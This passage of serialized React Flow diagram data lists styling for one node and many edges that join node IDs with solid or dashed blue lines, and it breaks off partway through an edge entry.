\"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"ZSrQoNGKiR484uALMWO9F\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -306.49114007976596,\n        \"y\": 1900.8197767726365\n      },\n      \"style\": {\n        \"width\": 143,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 143,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-DAwKHBng7Tytlcd2_8GORw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DAwKHBng7Tytlcd2_8GORx2-KDd40JOAvZ8O1mfhTYB3Kw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dcLaEU_lb0z_QypL1ZhpX\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Ky2-dcLaEU_lb0z_QypL1ZhpXz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"MQWzN_kXxVJMOYbRXSGJc\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Ky2-MQWzN_kXxVJMOYbRXSGJcz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dA8CNQOgJRDa0T7rmyS7f\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Ky2-dA8CNQOgJRDa0T7rmyS7fz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qdy4ZIY2EKgmPNdu_ndcg\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Kz2-qdy4ZIY2EKgmPNdu_ndcgy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qcrGApxNzkGYxgcd7o45d\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KDd40JOAvZ8O1mfhTYB3Kx2-qcrGApxNzkGYxgcd7o45dw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qcrGApxNzkGYxgcd7o45d\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_4my3Mfk5lxztykcJQ66s\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-qcrGApxNzkGYxgcd7o45dx2-_4my3Mfk5lxztykcJQ66sw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qcrGApxNzkGYxgcd7o45d\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KUur-gfOBQodTS-irFet7\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qcrGApxNzkGYxgcd7o45dy2-KUur-gfOBQodTS-irFet7z2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"alMJCEyUZ90xz-2_g3YRj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qefnsugcveizVq2TORRgn\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-alMJCEyUZ90xz-2_g3YRjx2-qefnsugcveizVq2TORRgnw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qefnsugcveizVq2TORRgn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"cFZsxpYHDxm7IWwergb3r\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-qefnsugcveizVq2TORRgnx2-ib0jfZzukYOZ42AdJqt_Ww1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cFZsxpYHDxm7IWwergb3r\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Wy2yIK5vgLjEcc9VjuQK5\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ib0jfZzukYOZ42AdJqt_Wz2-Wy2yIK5vgLjEcc9VjuQK5y1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cFZsxpYHDxm7IWwergb3r\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"EDOU5a7UK17yp3PdFBJMc\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ib0jfZzukYOZ42AdJqt_Wz2-EDOU5a7UK17yp3PdFBJMcy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cFZsxpYHDxm7IWwergb3r\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ZiOcFZy85p7tLzUkyKDei\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ib0jfZzukYOZ42AdJqt_Wz2-ZiOcFZy85p7tLzUkyKDeiy2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cFZsxpYHDxm7IWwergb3r\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Xonbxc7MvMEonKBvbkCAH\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ib0jfZzukYOZ42AdJqt_Wz2-Xonbxc7MvMEonKBvbkCAHy2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cFZsxpYHDxm7IWwergb3r\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1DOSAieOmWUNNsQQrqf2m\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ib0jfZzukYOZ42AdJqt_Wz2-1DOSAieOmWUNNsQQrqf2my1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cFZsxpYHDxm7IWwergb3r\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qOynVkDi1gFz0mxyJHjfJ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-cFZsxpYHDxm7IWwergb3rx2-ib0jfZzukYOZ42AdJqt_Ww1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qOynVkDi1gFz0mxyJHjfJ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"9FIhHwDNzyKpb42NmSv3K\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-ib0jfZzukYOZ42AdJqt_Wx2-9FIhHwDNzyKpb42NmSv3Kw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qOynVkDi1gFz0mxyJHjfJ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aH1DxiG5xrdNlKutJ_gTz\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-qOynVkDi1gFz0mxyJHjfJz2-aH1DxiG5xrdNlKutJ_gTzx1\",\n      \"type\": \"smoothstep\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aH1DxiG5xrdNlKutJ_gTz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TxkEpoOiuUm-fXJuFVKcH\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-aH1DxiG5xrdNlKutJ_gTzz2-TxkEpoOiuUm-fXJuFVKcHy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aH1DxiG5xrdNlKutJ_gTz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"O-9WQqidujLIEOTcOfy4n\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-aH1DxiG5xrdNlKutJ_gTzz2-O-9WQqidujLIEOTcOfy4ny2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aH1DxiG5xrdNlKutJ_gTz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fY40W8prpgiNqRL50w7ub\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-aH1DxiG5xrdNlKutJ_gTzz2-fY40W8prpgiNqRL50w7uby1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aH1DxiG5xrdNlKutJ_gTz\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"lvtTSHH9yBTCiLng8btnI\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-aH1DxiG5xrdNlKutJ_gTzz2-lvtTSHH9yBTCiLng8btnIy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4gaKqNtGLFqpk9WVKZl0v\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"T2-VAVfntouJOoWHpHZ3n\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-T2-VAVfntouJOoWHpHZ3nz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4gaKqNtGLFqpk9WVKZl0v\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0NXHAOUYGIwuPwlN7r_B3\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-0NXHAOUYGIwuPwlN7r_B3z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TRx3wvWnRdJJf5eL-GBG4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LSwUHfalnk5MgHt21PANb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-TRx3wvWnRdJJf5eL-GBG4y2-2F7vOL__v9dLBohA263ajz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"E88tHQvARkHURZwGaO02l\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-E88tHQvARkHURZwGaO02lz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"IuO9-O_DQdDYuAbdGWdgb\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-IuO9-O_DQdDYuAbdGWdgbz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0fvOXi9gJbEc7etqTggNE\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-0fvOXi9gJbEc7etqTggNEz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"aEhI_9mFWXRIZh1ZxTuzu\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-aEhI_9mFWXRIZh1ZxTuzuz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"a7hl0iMZ-jcUACxqIYVqv\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-a7hl0iMZ-jcUACxqIYVqvz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_BAZlBEzE7ddr315OeHvl\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-_BAZlBEzE7ddr315OeHvlz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"On75JR_UkiIlha0_qaSeu\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-On75JR_UkiIlha0_qaSeuz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"izGAjNtrh3BzQt3KiZX0W\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajy2-izGAjNtrh3BzQt3KiZX0Wz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LSwUHfalnk5MgHt21PANb\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"2F7vOL__v9dLBohA263aj\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LSwUHfalnk5MgHt21PANbx2-2F7vOL__v9dLBohA263ajw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2F7vOL__v9dLBohA263aj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VQ-V9qIdKgnpSJg2UnpuB\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajx2-VQ-V9qIdKgnpSJg2UnpuBw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"2F7vOL__v9dLBohA263aj\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"sE9lqkkqwnsVJxTJv37YZ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-2F7vOL__v9dLBohA263ajz2-sE9lqkkqwnsVJxTJv37YZy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sE9lqkkqwnsVJxTJv37YZ\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"JQwWeB1gkANSYfQmH69Bs\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sE9lqkkqwnsVJxTJv37YZw2-JQwWeB1gkANSYfQmH69Bsx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"M0aRyhxjzTWUOW95D1g1y\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"Xw4lLz2zWuTkNu8r4oheF\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"mbCXMk97_HKXG3d4TxBOC\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sE9lqkkqwnsVJxTJv37YZ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RqZaWGxxNRItBhVwWKysc\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-sE9lqkkqwnsVJxTJv37YZy2-RqZaWGxxNRItBhVwWKyscw1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RqZaWGxxNRItBhVwWKysc\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fU8Vnw1DobM4iXl1Tq6EK\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RqZaWGxxNRItBhVwWKyscz2-fU8Vnw1DobM4iXl1Tq6EKy1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RqZaWGxxNRItBhVwWKysc\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"8PcAPOrKisKRYPWamz4nV\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RqZaWGxxNRItBhVwWKyscz2-8PcAPOrKisKRYPWamz4nVy2\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RqZaWGxxNRItBhVwWKysc\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"PCX3KcvMUW3mmQEepLTXp\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RqZaWGxxNRItBhVwWKyscz2-PCX3KcvMUW3mmQEepLTXpy1\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RqZaWGxxNRItBhVwWKysc\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"I5uwfej5XMwR2N2gpBILh\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RqZaWGxxNRItBhVwWKyscz2-I5uwfej5XMwR2N2gpBILhy2\",\n      \"selected\": false\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": 